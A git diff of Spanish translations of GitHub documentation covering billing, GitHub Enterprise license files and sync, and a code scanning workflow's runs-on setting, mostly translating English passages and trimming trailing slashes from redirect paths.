index 3b0152b824..fc0f67cc73 100644
--- a/translations/es-ES/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
+++ b/translations/es-ES/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
@@ -3,12 +3,12 @@ title: Desbloquear una cuenta bloqueada
 intro: Las características pagadas de tu organización se bloquearán si tu pago no se recibe a tiempo debido a problemas de facturación.
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/unlocking-a-locked-account
-  - /articles/what-happens-if-my-account-is-locked/
-  - /articles/if-my-account-is-locked-and-i-upgrade-it-do-i-owe-anything-for-previous-time/
-  - /articles/if-my-account-is-locked-and-i-upgrade-it-do-i-pay-backcharges/
-  - /articles/what-happens-if-my-repository-is-locked/
-  - /articles/unlocking-a-locked-personal-account/
-  - /articles/unlocking-a-locked-organization-account/
+  - /articles/what-happens-if-my-account-is-locked
+  - /articles/if-my-account-is-locked-and-i-upgrade-it-do-i-owe-anything-for-previous-time
+  - /articles/if-my-account-is-locked-and-i-upgrade-it-do-i-pay-backcharges
+  - /articles/what-happens-if-my-repository-is-locked
+  - /articles/unlocking-a-locked-personal-account
+  - /articles/unlocking-a-locked-organization-account
   - /articles/unlocking-a-locked-account
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/unlocking-a-locked-account
 versions:
diff --git a/translations/es-ES/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md b/translations/es-ES/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
index b2cbcecb87..9a1c37afd9 100644
--- a/translations/es-ES/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
+++ b/translations/es-ES/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
@@ -3,9 +3,9 @@ title: Ver tu historial de pagos y recibos
 intro: Puedes ver el historial de pagos de tu cuenta y descargar los últimos recibos en cualquier momento.
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-payment-history-and-receipts
-  - /articles/downloading-receipts/
-  - /articles/downloading-receipts-for-personal-accounts/
-  - /articles/downloading-receipts-for-organizations/
+  - /articles/downloading-receipts
+  - /articles/downloading-receipts-for-personal-accounts
+  - /articles/downloading-receipts-for-organizations
   - /articles/viewing-your-payment-history-and-receipts
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts
 versions:
diff --git a/translations/es-ES/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md b/translations/es-ES/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
index a2e88fd86a..4d115ff54c 100644
--- a/translations/es-ES/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
+++ b/translations/es-ES/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
@@ -4,10 +4,10 @@ intro: 'Puedes ver la suscripción de tu cuenta, tu otras características y pro
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-subscriptions-and-billing-date
-  - /articles/finding-your-next-billing-date/
-  - /articles/finding-your-personal-account-s-next-billing-date/
-  - /articles/finding-your-organization-s-next-billing-date/
-  - /articles/viewing-your-plans-and-billing-date/
+  - /articles/finding-your-next-billing-date
+  - /articles/finding-your-personal-account-s-next-billing-date
+  - /articles/finding-your-organization-s-next-billing-date
+  - /articles/viewing-your-plans-and-billing-date
   - /articles/viewing-your-subscriptions-and-billing-date
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md
index 08b52173e4..094f8194e2 100644
--- a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md
+++ b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: About licenses for GitHub Enterprise
-intro: '{% ifversion ghec %}If you deploy {% data variables.product.prodname_ghe_server %} in addition to using {% data variables.product.prodname_ghe_cloud %}, each{% elsif ghes %}Each{% endif %} {% data variables.product.prodname_ghe_server %} instance requires a license file to validate and unlock the application.'
+title: Acerca de las licencias para GitHub Enterprise
+intro: '{% ifversion ghec %}Si despliegas {% data variables.product.prodname_ghe_server %} adicionalmente a utilizar {% data variables.product.prodname_ghe_cloud %}, cada{% elsif ghes %}Cada{% endif %} instancia de {% data variables.product.prodname_ghe_server %} requerirá un archivo de licencia para validar y desbloquear la aplicación.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -8,10 +8,10 @@ type: overview
 topics:
   - Enterprise
   - Licensing
-shortTitle: About licenses
+shortTitle: Acerca de las licencias
 ---
 
-## About license files for {% data variables.product.prodname_enterprise %}
+## Acerca de los archivos de licencia para {% data variables.product.prodname_enterprise %}
 
 {% ifversion ghec %}
 
@@ -19,15 +19,15 @@ shortTitle: About licenses
 
 {% endif %}
 
-When you purchase or renew {% data variables.product.prodname_enterprise %}, {% data variables.product.company_short %} provides a license file {% ifversion ghec %}for your deployments of {% data variables.product.prodname_ghe_server %}{% elsif ghes %}for {% data variables.product.product_location_enterprise %}{% endif %}. A license file has an expiration date and controls the number of people who can use {% data variables.product.product_location_enterprise %}. After you download and install {% data variables.product.prodname_ghe_server %}, you must upload the license file to unlock the application for you to use.
+Cuando compras o renuevas tu suscripción de {% data variables.product.prodname_enterprise %}, {% data variables.product.company_short %} te proporciona un archivo de licencia {% ifversion ghec %}para tus despliegues de {% data variables.product.prodname_ghe_server %}{% elsif ghes %} para {% data variables.product.product_location_enterprise %}{% endif %}. Un archivo de licencia tiene una fecha de vencimiento y controla la cantidad de personas que pueden utilizar {% data variables.product.product_location_enterprise %}. Después de que descargas e instalas {% data variables.product.prodname_ghe_server %}, debes cargar un archivo de licencia para desbloquear la aplicación para tu uso.
 
-For more information about downloading your license file, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)." For more information about uploading your license file, see {% ifversion ghec %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% endif %}
+Para obtener más información sobre cómo descargar tu archivo de licencia, consulta la sección "[Descargar tu licencia para {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)". Para obtener más información acerca de subir tu archivo de licencias, consulta la sección {% ifversion ghec %}"[Cargar una licencia nueva en {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" en la documentación de {% data variables.product.prodname_ghe_server %}.{% elsif ghes %}"[Cargar una licencia nueva en {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)".{% endif %}
 
-If your license expires, you won't be able to access {% data variables.product.prodname_ghe_server %} via a web browser or Git. If needed, you will be able to use command-line utilities to back up all your data. For more information, see {% ifversion ghec %}"[Configuring backups on your appliance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/guides/installation/configuring-backups-on-your-appliance)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Configuring backups on your appliance](/admin/guides/installation/configuring-backups-on-your-appliance)." {% endif %}
+Si tu licencia vence, no podrás acceder a {% data variables.product.prodname_ghe_server %} a través del buscador web o de Git. Si es necesario, podrás usar herramientas de línea de comando para hacer un respaldo de seguridad de todos tus datos. Para obtener más información, consulta la sección {% ifversion ghec %}"[Configurar respaldos en tu aplicativo]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/guides/installation/configuring-backups-on-your-appliance)" en la documentación de {% data variables.product.prodname_ghe_server %} {% elsif ghes %}"[Configurar respaldos en tu aplicativo](/admin/guides/installation/configuring-backups-on-your-appliance)". {% endif %}
 
-If you have any questions about renewing your license, contact {% data variables.contact.contact_enterprise_sales %}.
+Si tienes cualquier duda sobre el renovamiento de tu licencia, contacta a {% data variables.contact.contact_enterprise_sales %}.
 
-## About synchronization of license usage for {% data variables.product.prodname_enterprise %}
+## Acerca de la sincronización de uso de licencias para {% data variables.product.prodname_enterprise %}
 
 {% ifversion ghes %}
 
@@ -35,10 +35,10 @@ If you have any questions about renewing your license, contact {% data variables
 
 {% endif %}
 
-{% data reusables.enterprise-licensing.about-license-sync %} For more information, see {% ifversion ghec %}"[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."{% endif %}
+{% data reusables.enterprise-licensing.about-license-sync %} Para obtener más información, consulta la sección {% ifversion ghec %}"[Sincronizar el uso de licencias entre {% data variables.product.prodname_ghe_server %} y {% data variables.product.prodname_ghe_cloud %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)" en la documentación de {% data variables.product.prodname_ghe_server %}.{% elsif ghes %}"[Sincronizar el uso de licencias entre {% data variables.product.prodname_ghe_server %} y {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)".{% endif %}
 
-## Further reading
+## Leer más
 
-- "[About billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)"
-- [{% data variables.product.prodname_enterprise %} Releases](https://enterprise.github.com/releases/) website
-- "[Setting up a {% data variables.product.prodname_ghe_server %} instance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/installation/setting-up-a-github-enterprise-server-instance)"
+- "[Acerca de la facturación para tu empresa](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)"
+- Sitio web de [Lanzamientos de {% data variables.product.prodname_enterprise %}](https://enterprise.github.com/releases/)
+- "[Configurar una instancia de {% data variables.product.prodname_ghe_server %}]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/installation/setting-up-a-github-enterprise-server-instance)"
diff --git a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md
index 1f40813d65..ca3365aa19 100644
--- a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md
+++ b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Downloading your license for GitHub Enterprise
-intro: 'You can download a copy of your license file for {% data variables.product.prodname_ghe_server %}.'
+title: Descargar tu licencia de GitHub Enterprise
+intro: 'Puedes descargar una copia de tu archivo de licencia para {% data variables.product.prodname_ghe_server %}.'
 permissions: 'Enterprise owners can download license files for {% data variables.product.prodname_ghe_server %}.'
 versions:
   ghec: '*'
@@ -9,30 +9,28 @@ type: how_to
 topics:
   - Enterprise
   - Licensing
-shortTitle: Download your license
+shortTitle: Descargar tu licencia
 ---
 
-## About license files for {% data variables.product.prodname_enterprise %}
+## Acerca de los archivos de licencia para {% data variables.product.prodname_enterprise %}
 
-After you purchase or upgrade a license for {% data variables.product.prodname_enterprise %} from {% data variables.contact.contact_enterprise_sales %}, you must download your new license file. For more information about licenses for {% data variables.product.prodname_enterprise %}, see "[About licenses for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)."
+Después de comprar o mejorar una licencia de {% data variables.product.prodname_enterprise %} desde {% data variables.contact.contact_enterprise_sales %}, debes descargar tu archivo de licencia nuevo. Para obtener más información sobre las licencias para {% data variables.product.prodname_enterprise %}, consulta la sección "[Acerca de las licencias de {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)".
 
 {% data reusables.enterprise-licensing.contact-sales-for-renewals-or-seats %}
 
-## Downloading your license from {% data variables.product.prodname_dotcom_the_website %}
+## Descargar tu licencia desde {% data variables.product.prodname_dotcom_the_website %}
 
-You must have an enterprise account on {% data variables.product.prodname_dotcom_the_website %} to download your license from {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion ghes %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% elsif ghec %}."{% endif %}
+Debes tener una cuenta empresarial en {% data variables.product.prodname_dotcom_the_website %} para descargar tu licencia de {% data variables.product.prodname_dotcom_the_website %}. Para obtener más información, consulta la sección "[Acerca de las cuentas empresariales](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion ghes %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% elsif ghec %}".{% endif %}
 
 {% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
 {% data reusables.enterprise-accounts.settings-tab %}
-1. In the left sidebar, click **Enterprise licensing**.
-  !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png)
-1. Under "Enterprise Server Instances", click {% octicon "download" aria-label="The download icon" %} to download your license file.
-  ![Download GitHub Enterprise Server license](/assets/images/help/business-accounts/download-ghes-license.png)
+1. En la barra lateral izquierda, da clic en **Licenciamiento empresarial**. ![Pestaña de "Licencias empresariales" en la barra lateral de configuración para la cuenta empresarial](/assets/images/help/enterprises/enterprise-licensing-tab.png)
+1. Debajo de "instancias de Enterprise Server", da clic en {% octicon "download" aria-label="The download icon" %} para descargar tu archivo de licencia. ![Descargar la licencia de GitHub Enterprise Server](/assets/images/help/business-accounts/download-ghes-license.png)
 
-After you download your license file, you can upload the file to {% data variables.product.product_location_enterprise %} to validate your application. For more information, see {% ifversion ghec %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% endif %}
+Después de que descargas tu archivo de licencia, puedes cargar el archivo a {% data variables.product.product_location_enterprise %} para validar tu aplicación. Para obtener más información, consulta la sección {% ifversion ghec %}"[Cargar una licencia nueva a {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" en la documentación de {% data variables.product.prodname_ghe_server %}.{% elsif ghes %}"[Cargar una licencia nueva a {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)".{% endif %}
 
-## Downloading your license if you don't have an enterprise account on {% data variables.product.prodname_dotcom_the_website %}
+## Descargar tu licencia si no tienes una cuenta empresarial en {% data variables.product.prodname_dotcom_the_website %}
 
-If you do not have an enterprise account on {% data variables.product.prodname_dotcom_the_website %}, or if you're not sure, you may be able to download your {% data variables.product.prodname_ghe_server %} license from the [{% data variables.product.prodname_enterprise %} website](https://enterprise.github.com/download).
+Si no tienes una cuenta empresarial en {% data variables.product.prodname_dotcom_the_website %} o si no estás seguro de ello, podrías descarar tu licencia de {% data variables.product.prodname_ghe_server %} desde el [sitio web de {% data variables.product.prodname_enterprise %}](https://enterprise.github.com/download).
 
-If you have any questions about downloading your license, contact {% data variables.contact.contact_enterprise_sales %}.
+Si tienes cualquier pregunta sobre cómo descargar tu licencia, contacta a {% data variables.contact.contact_enterprise_sales %}.
diff --git a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/index.md b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/index.md
index 617e5c273f..522ad72b63 100644
--- a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/index.md
+++ b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/index.md
@@ -1,17 +1,17 @@
 ---
-title: Managing your license for GitHub Enterprise
-shortTitle: GitHub Enterprise license
-intro: '{% data variables.product.prodname_enterprise %} includes both cloud and self-hosted deployment options. If you host a {% data variables.product.prodname_ghe_server %} instance, you must unlock the instance with a license file. You can view, manage, and update the license file.'
+title: Administrar tu licencia de GitHub Enterprise
+shortTitle: Licenci de GitHub Enterprise
+intro: '{% data variables.product.prodname_enterprise %} Incluye las opciones de despliegue tanto en la nube como auto-hospedado. Si hospedas una instancia de {% data variables.product.prodname_ghe_server %}, debes desbloquearla con un archivo de licencia. Puedes ver, administrar y actualizar el archivo de licencia.'
 redirect_from:
   - /free-pro-team@latest/billing/managing-your-license-for-github-enterprise
   - /enterprise/admin/installation/managing-your-github-enterprise-license
-  - /enterprise/admin/categories/licenses/
-  - /enterprise/admin/articles/license-files/
-  - /enterprise/admin/installation/about-license-files/
-  - /enterprise/admin/articles/downloading-your-license/
-  - /enterprise/admin/installation/downloading-your-license/
-  - /enterprise/admin/articles/upgrading-your-license/
-  - /enterprise/admin/installation/updating-your-license/
+  - /enterprise/admin/categories/licenses
+  - /enterprise/admin/articles/license-files
+  - /enterprise/admin/installation/about-license-files
+  - /enterprise/admin/articles/downloading-your-license
+  - /enterprise/admin/installation/downloading-your-license
+  - /enterprise/admin/articles/upgrading-your-license
+  - /enterprise/admin/installation/updating-your-license
   - /enterprise/admin/installation/managing-your-github-enterprise-server-license
   - /enterprise/admin/overview/managing-your-github-enterprise-license
 versions:
diff --git a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md
index 2f032c6f1b..742261254b 100644
--- a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md
+++ b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud.md
@@ -1,6 +1,6 @@
 ---
-title: Syncing license usage between GitHub Enterprise Server and GitHub Enterprise Cloud
-intro: 'You can sync license usage from {% data variables.product.prodname_ghe_server %} to {% data variables.product.prodname_ghe_cloud %} to view all license usage across your enterprise in one place and ensure that people with accounts in both environments only consume one user license.'
+title: Sincornizar el uso de licencias entre GitHub Enterprise Server y GitHub Enterprise Cloud
+intro: 'Puedes sincronizar el uso de licencias desde {% data variables.product.prodname_ghe_server %} hacia {% data variables.product.prodname_ghe_cloud %} para ver el uso de licencias a lo largo de tu empresa en un solo lugar y garantizar que las personas con cuentas en ambos ambientes solo consuman una licencia.'
 permissions: 'Enterprise owners can sync license usage between enterprise accounts on {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}.'
 versions:
   ghec: '*'
@@ -9,36 +9,32 @@ type: how_to
 topics:
   - Enterprise
   - Licensing
-shortTitle: Sync license usage
+shortTitle: Sincronizar el uso de licencia
 ---
 
-## About synchronization of license usage
+## Acerca de la sincronización del uso de licencias
 
 {% data reusables.enterprise-licensing.about-license-sync %}
 
-If you allow {% data variables.product.product_location_enterprise %} to connect to your enterprise account on {% data variables.product.prodname_dotcom_the_website %}, you can sync license usage between the environments automatically. Automatic synchronization ensures that you see up-to-date license details on {% data variables.product.prodname_dotcom_the_website %}. If you don't want to allow {% data variables.product.product_location %} to connect to {% data variables.product.prodname_dotcom_the_website %}, you can manually sync license usage by uploading a file from {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}.
+Si permites que {% data variables.product.product_location_enterprise %} se conecte a tu cuenta de empresa en {% data variables.product.prodname_dotcom_the_website %}, puedes sincronizar el uso de licencia entre los ambientes automáticamente. La sincronización automática garantiza que veas los detalles actualizados de la licencia en {% data variables.product.prodname_dotcom_the_website %}. Si no quieres permitir que {% data variables.product.product_location %} se conecte con {% data variables.product.prodname_dotcom_the_website %}, puedes sincronizar la licencia manualmente cargando un archivo de {% data variables.product.product_location %} a {% data variables.product.prodname_dotcom_the_website %}.
 
-For more information about licenses and usage for {% data variables.product.prodname_ghe_server %}, see "[About licenses for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)."
+Para obtener más información sobre las licencias y el uso de {% data variables.product.prodname_ghe_server %}, consulta la sección "[Acerca de las licencias de {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)".
 
-## Automatically syncing license usage
+## Sincronizar el uso de licencias automáticamente
 
-You can use {% data variables.product.prodname_github_connect %} to automatically sync user license count and usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic user license sync between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud){% ifversion ghec %}" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}."{% endif %}
+Puedes utilizar {% data variables.product.prodname_github_connect %} para sincronizar de forma automática el conteo y el uso de la licencia de usuario entre {% data variables.product.prodname_ghe_server %} y {% data variables.product.prodname_ghe_cloud %}. Para obtener más información, consulta la sección "[Habilitar la sincronización automática de licencias de usuario entre {% data variables.product.prodname_ghe_server %} y {% data variables.product.prodname_ghe_cloud %}]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud){% ifversion ghec %}" en la documentación de {% data variables.product.prodname_ghe_server %}.{% elsif ghes %}".{% endif %}
 
-## Manually syncing license usage
+## Sincronizar el uso de licencias manualmente
 
-You can download a JSON file from {% data variables.product.prodname_ghe_server %} and upload the file to {% data variables.product.prodname_ghe_cloud %} to manually sync user license usage between the two deployments.
+Puedes descargar un archivo JSON desde {% data variables.product.prodname_ghe_server %} y subir el archivo a {% data variables.product.prodname_ghe_cloud %} para sincronizar de forma manual el uso de la licencia de usuario entre dos implementaciones.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.license-tab %}
-5. Under "Quick links", to download a file containing your current license usage on {% data variables.product.prodname_ghe_server %}, click **Export license usage**.
-  ![Export license usage link](/assets/images/enterprise/business-accounts/export-license-usage-link.png)
+5. Dentro de "Quick links (Vínculos rápidos)", para descargar un archivo que contiene tu uso de licencia actual en {% data variables.product.prodname_ghe_server %}, haz clic en **Export license usage (Exportar uso de licencia)**. ![Exporta el vínculo de uso de la licencia](/assets/images/enterprise/business-accounts/export-license-usage-link.png)
 {% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
 {% data reusables.enterprise-accounts.settings-tab %}
-8. In the left sidebar, click **Enterprise licensing**.
-  !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png)
+8. En la barra lateral izquierda, da clic en **Licenciamiento empresarial**. ![Pestaña de "Licencias empresariales" en la barra lateral de configuración para la cuenta empresarial](/assets/images/help/enterprises/enterprise-licensing-tab.png)
 {% data reusables.enterprise-accounts.license-tab %}
-10. Under "Enterprise Server Instances", click **Add server usage**.
-  ![Upload GitHub Enterprise Servers usage link](/assets/images/help/business-accounts/upload-ghe-server-usage-link.png)
-11. Upload the JSON file you downloaded from {% data variables.product.prodname_ghe_server %}.
-  ![Drag and drop or select a file to upload](/assets/images/help/business-accounts/upload-ghe-server-usage-file.png)
+10. Debajo de "Instancias de Enterprise Server", da clic en **Agregar uso del servidor**. ![Sube el vínculo de uso de los servidores de GitHub Enterprise](/assets/images/help/business-accounts/upload-ghe-server-usage-link.png)
+11. Sube el archivo JSON que descargaste de {% data variables.product.prodname_ghe_server %}. ![Arrastra y suelta o selecciona un archivo para cargar](/assets/images/help/business-accounts/upload-ghe-server-usage-file.png)
diff --git a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md
index 6f14ec511a..029e4dabd0 100644
--- a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md
+++ b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server.md
@@ -20,7 +20,7 @@ Después de que compras o mejoras una licencia de {% data variables.product.prod
 
 {% warning %}
 
-**Warning:** Updating your license causes a small amount of downtime for {% data variables.product.product_location %}.
+**Advertencia:** El actualizar tu licencia ocasiona un tiempo de inactividad pequeño para {% data variables.product.product_location %}.
 
 {% endwarning %}
 
diff --git a/translations/es-ES/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md b/translations/es-ES/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
index cac473fd9f..b103194a61 100644
--- a/translations/es-ES/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
+++ b/translations/es-ES/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
@@ -3,7 +3,7 @@ title: Acerca de las organizaciones para empresas de contratación
 intro: 'Las empresas usan las organizaciones para colaborar en proyectos compartidos con varios propietarios y administradores. Puedes crear una organización para tu cliente, realizar un pago en su nombre, y entonces transferir la propiedad de la organización a tu cliente.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/about-organizations-for-procurement-companies
-  - /articles/about-organizations-for-resellers/
+  - /articles/about-organizations-for-resellers
   - /articles/about-organizations-for-procurement-companies
   - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies
 versions:
diff --git a/translations/es-ES/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md b/translations/es-ES/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
index d1932dd2ce..b1c91a3f69 100644
--- a/translations/es-ES/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
+++ b/translations/es-ES/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
@@ -4,8 +4,8 @@ shortTitle: Organizaciones pagadas para compañías de contratación
 intro: 'Si pagas por {% data variables.product.product_name %} en nombre de un cliente, puedes configurar sus parámetros de organización y pago para optimizar la conveniencia y la seguridad.'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies
-  - /articles/setting-up-and-paying-for-organizations-for-resellers/
-  - /articles/setting-up-and-paying-for-organizations-for-procurement-companies/
+  - /articles/setting-up-and-paying-for-organizations-for-resellers
+  - /articles/setting-up-and-paying-for-organizations-for-procurement-companies
   - /articles/setting-up-paid-organizations-for-procurement-companies
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md
index 88ca60761c..2122636727 100644
--- a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md
+++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md
@@ -161,6 +161,13 @@ This workflow scans:
 
 If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.product.prodname_codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %}
 
+``` yaml
+jobs:
+  analyze:
+    name: Analyze
+    runs-on: [ubuntu-latest]
+```
+
 If you choose to use a self-hosted runner for code scanning, you can specify an operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% endif %}
 
 ``` yaml
@@ -170,12 +177,14 @@ jobs:
     runs-on: [self-hosted, ubuntu-latest]
 ```
 
-{% ifversion fpt or ghec %}For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."{% endif %}
-
